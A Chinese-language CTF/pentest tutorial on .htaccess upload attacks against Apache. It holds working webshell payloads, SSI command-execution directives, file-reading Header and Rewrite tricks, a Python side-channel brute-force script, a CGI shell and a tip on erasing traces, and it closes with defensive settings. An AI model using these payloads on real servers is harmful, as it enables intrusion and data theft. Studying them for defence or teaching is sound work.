前言

.htaccess 是 Apache 的目录级配置文件,允许在不修改主配置文件的情况下,对当前目录及其子目录进行权限控制、URL 重写、MIME 类型映射、错误页面定制等操作。

在 CTF 和渗透测试中,如果存在一个可以上传 .htaccess 文件的文件上传点,攻击者就能:

  • 让图片被解析为 PHP 代码
  • 通过 HTTP 响应头读取服务器上的任意文件
  • 利用条件重写做侧信道逐字符爆破敏感文件内容
  • 开启 SSI(Server-Side Includes)将 /flag 等内容注入到页面中
  • 利用 php_value/php_flag 修改 PHP 运行时配置

本文梳理 .htaccess 的工作原理,并按攻击目标分类整理了十余种利用技巧。


一、.htaccess 基础

1.1 什么是 .htaccess

htaccess = “hypertext access”,是 Apache HTTP Server 的分布式配置文件。把它放在某个目录下,其中的指令就会作用于该目录及其所有子目录。

继承规则:

  • 父目录的 .htaccess 规则会与子目录的 .htaccess 合并后一起生效
  • 子目录的 .htaccess 可以覆盖父目录中的同名指令
  • 同一目录下只能有一个 .htaccess 文件

1.2 生效条件

必须在 Apache 主配置文件(httpd.confapache2.conf)中启用覆盖功能:

1
2
3
4
5
6
7
<Directory /var/www/>
AllowOverride All # 允许 .htaccess 覆盖所有指令
# 或
AllowOverride FileInfo # 只允许与文件类型相关的指令
# 或
AllowOverride Options # 只允许 Options 指令
</Directory>

AllowOverride 的值决定了 .htaccess 中哪些指令可以生效:

允许的指令类型
All 所有
None 完全忽略 .htaccess(最安全)
FileInfo ErrorDocumentSetHandlerAddTypeRewriteRule
AuthConfig AuthTypeRequire 等认证指令
Indexes DirectoryIndexOptions
Limit OrderDenyAllow
Options OptionsXBitHack

1.3 攻击前提

  • 目标服务器为 Apache(通常都有 /var/www/html 目录结构)
  • AllowOverride 未设为 None(CTF 中默认常为 All
  • 存在文件上传点,且未过滤 .htaccess 文件名

二、文件解析劫持——让任意文件被当 PHP 执行

这类技巧是 .htaccess 最直接的应用:修改 MIME 类型映射,让 .jpg/.png/.txt 等”无害”文件被 Apache 当作 PHP 处理。

2.1 SetHandler(ForceType)——最常用

1
2
3
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

效果:当前目录下的 shell.jpg 会被当作 PHP 脚本解析。

更灵活的写法:

1
2
3
4
5
6
7
8
9
10
11
12
# 对所有 .jpg 生效
SetHandler application/x-httpd-php

# 只对特定文件名
<Files "shell.jpg">
SetHandler application/x-httpd-php
</Files>

# 正则匹配多个扩展名
<FilesMatch "\.(jpg|png|txt)$">
SetHandler application/x-httpd-php
</FilesMatch>

2.2 AddType —— MIME 映射

1
AddType application/x-httpd-php .jpeg .png .txt

效果:所有 .jpeg.png.txt 文件都会被当作 PHP 解析。

SetHandler vs AddType:

SetHandler AddType
作用范围 可精确到具体文件名(配合 <Files>/<FilesMatch> 整个目录,按扩展名
精确度 低(一刀切)
隐蔽性 较高 低(目录下所有该后缀文件行为异常)

2.3 AddHandler

1
AddHandler application/x-httpd-php .jpg

AddType 效果类似,让 .jpg 文件强制走 PHP handler。

2.4 双扩展名绕过

如果应用只允许上传 .jpg,但通过 .htaccess 开启 PHP 解析后,还可以利用双扩展名:

1
AddType application/x-httpd-php .jpg

然后上传 shell.php.jpg——Apache 会优先匹配最后一个扩展名(.jpg),而 .htaccess 让它被解析为 PHP。

2.5 结合 PHP 代码构造特殊 .htaccess

部分 Apache 配置允许 .htaccess 自身包含 PHP 代码。如果 AllowOverride 允许 php_value

1
php_value auto_prepend_file /flag

或更极端的方法——构造一个既是合法 .htaccess 语法、又是合法 PHP 代码的文件:

1
2
3
# <?php system($_GET['cmd']); ?>
# 这一行以 # 开头,在 .htaccess 中是注释,在 PHP 中也是合法的
AddType application/x-httpd-php .htaccess

然后直接访问 .htaccess 文件即可执行 PHP 代码。


三、文件读取——通过 HTTP 响应头泄露文件内容

利用 Apache 的 mod_headers 模块和 expr 表达式,可以在 HTTP 响应头中回显文件内容。

3.1 基础版:Header 表达式

1
Header always set X-Flag "expr=%{file:/flag}"

原理: mod_headers 支持 expr 表达式,file() 函数读取文件内容。响应头 X-Flag 中会直接显示 /flag 的内容。

访问当前目录下任意文件,查看响应头即可拿到 flag。

3.2 组合版:开启目录浏览

1
2
3
Options +Indexes
DirectoryIndex /test.txt
Header set X-Flag "expr=%{file:/flag}"
  • Options +Indexes:开启目录浏览
  • DirectoryIndex /test.txt:设置默认索引文件
  • Header:在响应中回显 /flag 内容

3.3 环境变量回显

1
2
3
4
RewriteEngine On
RewriteCond expr "file('/flag') =~ /(.+)/"
RewriteRule .* - [E=FLAG_CONTENT:%1]
Header set X-Test-Expr "%{FLAG_CONTENT}e"

解读:

指令 含义
RewriteEngine On 开启 URL 重写引擎
RewriteCond expr "file('/flag') =~ /(.+)/" 读取 /flag 全部内容,正则捕获到 %1
RewriteRule .* - [E=FLAG_CONTENT:%1] 不改变 URL(-),将捕获内容设为环境变量
Header set X-Test-Expr "%{FLAG_CONTENT}e" 将环境变量值写入响应头

访问任意页面,查看 X-Test-Expr 响应头即可。


四、SSI(Server-Side Includes)注入

SSI 是 Apache 的一项功能,允许在 HTML 中嵌入服务器指令(如 <!--#include file="/flag"-->),在返回页面时由服务端解析并替换为实际内容。.htaccess 可以强制开启 SSI。

4.1 ErrorDocument 注入

1
2
3
Options +Includes
SetOutputFilter INCLUDES
ErrorDocument 404 "<!--#include virtual='/flag'-->"

效果: 访问当前目录下不存在的文件,触发 404 错误页面,SSI 指令将 /flag 的内容渲染进 404 页面中。

4.2 HTML 注入 + SSI 解析

1
2
3
Options +Includes
AddOutputFilter INCLUDES .html
AddType text/html .html

然后上传一个 evil.html

1
<!--#include virtual="/flag"-->

访问 evil.html 即可看到 /flag 的内容。

4.3 SSI 指令速查

SSI 指令 作用
<!--#include virtual="/flag"--> 包含文件(相对于 DocumentRoot)
<!--#include file="config.php"--> 包含文件(相对路径)
<!--#exec cmd="id"--> 执行命令(需要 Options +IncludesNOEXEC 未开启
<!--#echo var="DOCUMENT_ROOT"--> 输出环境变量
<!--#printenv--> 列出所有环境变量
<!--#flastmod file="index.html"--> 文件最后修改时间
<!--#fsize file="index.html"--> 文件大小

关键: <!--#exec cmd="..."--> → 如果 Options +Includes 不带 NOEXEC,可以直接执行系统命令,这是 SSI 的最高危利用。


五、侧信道爆破——逐字符猜解文件内容

利用 mod_rewrite 的条件表达式和 HTTP 状态码差异,可以逐字符爆破文件内容。

5.1 原理

1
2
3
RewriteEngine On
RewriteCond expr "file('/flag') =~ /^flag\{a/"
RewriteRule . - [F]
  • RewriteCond 用正则匹配 /flag 文件内容的前缀
  • 匹配成功 → RewriteRule . - [F] → 返回 403 Forbidden
  • 匹配失败 → 返回 正常状态码(200/404 等)

通过检测访问一个已知存在文件时返回的是 403 还是 200,就能判断当前猜测的前缀是否正确,从而逐字符爆破整个 flag。

5.2 完整爆破脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests
import string
import time

url = "http://TARGET/upload/" # .htaccess 所在目录的 URL
verify_url = url + "1.png" # 该目录下一个已知存在的文件

# 字符集(根据 flag 格式调整)
charset = string.ascii_letters + string.digits + "_-!@#$%^&*(){}"

# 已知前缀(根据 flag 格式设置)
flag = "flag{"


def check(prefix):
"""上传 .htaccess 并检测 verify_url 是否返回 403"""
content = f"""\
RewriteEngine On
RewriteCond expr "file('/flag') =~ /^{prefix}/"
RewriteRule . - [F]
"""
files = {"file": (".htaccess", content)}
try:
requests.post(url, files=files, timeout=5)
r = requests.get(verify_url, timeout=5)
return r.status_code == 403
except Exception:
return False


print(f"[*] Starting brute force from prefix: {flag}")

while True:
found = False
for char in charset:
test_flag = flag + char
print(f"\r[*] Testing: {test_flag}", end="")

if check(test_flag):
flag += char
print(f"\n[+] Found char! Current: {flag}")
found = True
break

if not found:
# 尝试闭合
if check(flag + "}"):
flag += "}"
print(f"\n[+] Flag ended: {flag}")
break

print(f"\n[!] Final flag: {flag}")

5.3 正则中的特殊字符处理

如果 flag 中包含正则特殊字符(如 .*+ 等),需要手动或脚本转义。上述脚本中 flag 是逐字符拼接的,遇到正则特殊字符会导致误判,建议用 re.escape() 处理:

1
2
3
4
5
6
7
8
9
10
import re

def check(prefix):
escaped = re.escape(prefix)
content = f"""\
RewriteEngine On
RewriteCond expr "file('/flag') =~ /^{escaped}/"
RewriteRule . - [F]
"""
# ... 上传逻辑不变

5.4 变体:用 301 状态码区分

如果目录中存在大量正常文件返回 403 干扰,可以将匹配成功后的动作改为返回 301:

1
RewriteRule . - [R=301,L]

判断逻辑相应修改为 r.status_code == 301


六、PHP 配置注入——php_value / php_flag

如果 AllowOverrideAll 或包含 Options.htaccess 中可以修改 PHP 运行时配置。

6.1 auto_prepend_file / auto_append_file

1
php_value auto_prepend_file /flag

效果:当前目录下任何 PHP 文件被执行时,都会先自动包含 /flag。访问目录下任意 .php 页面即可在输出中看到 flag 内容。

1
php_value auto_append_file /tmp/evil.php

同理,auto_append_file 在 PHP 文件执行完毕后附加内容。

6.2 批量修改 PHP 配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 允许包含远程文件(如果 allow_url_include 也为 On)
php_flag allow_url_include On

# 关闭安全模式
php_flag safe_mode Off

# 显示所有错误(可能泄露路径)
php_flag display_errors On

# 修改上传文件大小限制
php_value upload_max_filesize 100M
php_value post_max_size 100M

# 修改 include_path 注入恶意文件
php_value include_path ".:/tmp/evil"

6.3 注意:php_value 限制

php_value 只能修改 PHP_INI_ALLPHP_INI_PERDIR 级别的配置项。PHP_INI_SYSTEM 级别的配置(如 disable_functions)无法通过 .htaccess 修改。


七、CGI 方式执行命令

如果目标 Apache 启用了 mod_cgi/mod_cgid,可以通过 .htaccess 让特定文件被当做 CGI 脚本执行。

7.1 SetHandler cgi-script

1
2
Options +ExecCGI
AddHandler cgi-script .cgi

然后上传一个 shell.cgi

1
2
3
4
5
6
#!/bin/bash
echo "Content-Type: text/plain"
echo ""
echo "=== Shell Output ==="
id
cat /flag

本质是直接用 bash/sh 写可执行脚本,不再受限于 PHP。

7.2 用 SetHandler 直接执行

1
2
3
4
<Files "evil">
SetHandler cgi-script
Options +ExecCGI
</Files>

上传一个文件名就叫 evil 的文件,内容同上,访问即可执行。


八、其他利用技巧

8.1 自毁 .htaccess

执行完攻击后,可以通过 php_value 或直接覆盖 .htaccess 来清理痕迹:

1
# 上传空 .htaccess 覆盖之前的规则

8.2 ErrorDocument 作为 Web Shell

1
ErrorDocument 404 "<?php system($_GET['cmd']); ?>"

访问当前目录下任意不存在的 PHP 文件(如 /upload/nonexist.php),Apache 返回自定义 404 页面,其中嵌入的 PHP 代码被执行。

8.3 强制返回原始源码

1
2
3
RemoveHandler .php
RemoveType .php
php_flag engine Off

让当前目录下所有 .php 文件不再被 PHP 引擎处理,直接以纯文本形式返回源码。

8.4 修改目录索引页

1
DirectoryIndex /flag

将默认首页改为 /flag,访问目录时直接显示 flag 内容。

8.5 拒绝访问 + 信息收集

1
2
Order Allow,Deny
Deny from all

先将目录设为拒绝访问,再结合其他技术逐步收集信息。


九、攻击链组合

CTF 中 .htaccess 经常作为文件上传攻击链的一环——先上传 .htaccess 配置环境,再上传恶意 payload 触发执行。

典型攻击链

1
2
3
4
5
6
7
8
9
┌────────────────────────────────────────────────────────────┐
│ Step 1: 发现上传点,允许上传 .htaccess │
│ ↓ │
│ Step 2: 上传 .htaccess(SetHandler .jpg → PHP) │
│ ↓ │
│ Step 3: 上传 shell.jpg(内含 PHP 一句话木马) │
│ ↓ │
│ Step 4: 访问 shell.jpg → 被当作 PHP 执行 → getshell │
└────────────────────────────────────────────────────────────┘

无回显场景下的 alternative 链:

1
2
3
4
5
┌────────────────────────────────────────────────────────────┐
│ .htaccess 开启 SSI → 上传含 SSI 指令的 .html → 读取 /flag │
│ .htaccess ErrorDocument 404 → 访问不存在页面 → 泄露 /flag │
│ .htaccess RewriteRule → 逐字符侧信道爆破 /flag │
└────────────────────────────────────────────────────────────┘

十、各技巧适用场景速查

技巧 依赖模块 条件 目标
SetHandler / AddType mod_mime AllowOverride FileInfo 图片马解析、getshell
php_value auto_prepend_file mod_php AllowOverride Options/All 文件泄露、代码执行
Header + expr file() mod_headers AllowOverride FileInfo 直接读取文件
**SSI () ** mod_include AllowOverride Options/All 文件包含、命令执行
**SSI () ** mod_include Options +IncludesNOEXEC 直接 RCE
RewriteRule 侧信道 mod_rewrite AllowOverride FileInfo 无回显时逐字符爆破
CGI Script mod_cgi/mod_cgid AllowOverride Options 执行任意脚本
ErrorDocument core AllowOverride FileInfo Web Shell / 文件泄露
php_value / php_flag mod_php AllowOverride Options/All 修改 PHP 配置
DirectoryIndex mod_dir AllowOverride Indexes 修改默认首页

十一、防御措施

层面 措施 说明
Apache 配置 AllowOverride None 全局禁用 .htaccess,所有配置集中到 httpd.conf
Apache 配置 设置 AllowOverride 为最小权限 如只需要认证,设为 AuthConfig,不授予 FileInfo
上传过滤 禁止上传 .htaccess 文件 黑名单中包含 .htaccess.htpasswd
上传过滤 仅允许特定扩展名白名单 只允许 .jpg.png.pdf,拒绝任何配置类文件名
PHP 隔离 上传目录单独配置 /uploads/ 目录单独设置 <Directory> 块,覆盖所有 .htaccess 权限
监控 告警 .htaccess 文件的创建 在非预期目录出现 .htaccess 通常意味着攻击
最小权限 Web 目录属主不应有写权限 chown root:root /var/www/html,Web 进程用户只读

Apache 配置示例

1
2
3
4
5
6
7
8
# 对上传目录单独禁止 .htaccess
<Directory /var/www/html/uploads>
AllowOverride None
# 禁用 PHP 执行
php_flag engine Off
# 或移除所有 PHP handler
RemoveHandler .php
</Directory>

参考